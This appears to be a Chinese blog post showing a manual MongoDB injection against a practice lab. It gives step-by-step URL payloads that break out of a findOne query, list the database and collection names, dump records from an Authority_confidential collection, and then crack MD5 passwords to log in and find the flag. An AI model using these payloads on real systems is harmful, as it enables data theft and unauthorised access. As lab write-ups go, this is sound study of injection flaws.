MongoDB⼿⼯注⼊

 (1)如下给出的源码...可以看到数据库查询的语句如下..构造回显测试...、

# 查询语句

var data= db.notice.findOne({'id':'$id'});return data;

传⼊的数据是$id。注意到可以通过闭合 “({‘” 来构造payload 因为返回的数据是$obj[‘retva l’][‘title’]与$obj[‘retval’][‘content’],可以尝试return({title:’1’,conten t:’2’})来构造回显测试

# Payload

new_list.php?id=1'});return ({title:'1',content:'2

(2)成功显示“1”和“2”。可以在此来显示想要查询的数据。接下来开始尝试构造payload查询 当前数据库。通过回显观察到数据库为 mozhe_cms_Authority 其中tojson是可以把数据变成 json型数据,db为取当前数据库,即当前的数据库为 mozhe_cms_Authority

# Payload

new_list.php?id=1'});return({title:tojson(db),content:'2

(3)得到数据库名之后就可以尝试爆出数据库下的表名了且构造Payload...其中 db.getColl ectionNames() 返回⼀个包含当前数据库中所有集合名称的数组。

# Payload

new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),conten t:'2

(4)这样数据库的表名就被爆出来了,⼀共有三个表,分别为: Authority_confidentia l 、 notice 、 system_indexes 。最后我们就可以直接选取某个表爆出其中的数据了...

# Payload

new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find()[ 0]),content:'2

# 注释

Payload中的“db.Authority_confidential.find()[0]” db代表当前数据库,Authority_c onfidential 代表当前所要查询的表,find()查询函数,返回查询的结果,[0]代表取索引为0的数 据。当然我们也可以将其改为1、2...直到查询不到数据为⽌。

(5)最终我们就可以获得数据了,将密码进⾏MD5解密,返回登录⻚进⾏登录,划倒⻚⾯最下 端就可以看到KEY了。如果第⼀个⽤户账号密码登录不了,我们就改变查询的索引“find()[1]”查询 其他的⽤户账号密码登录即可..

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值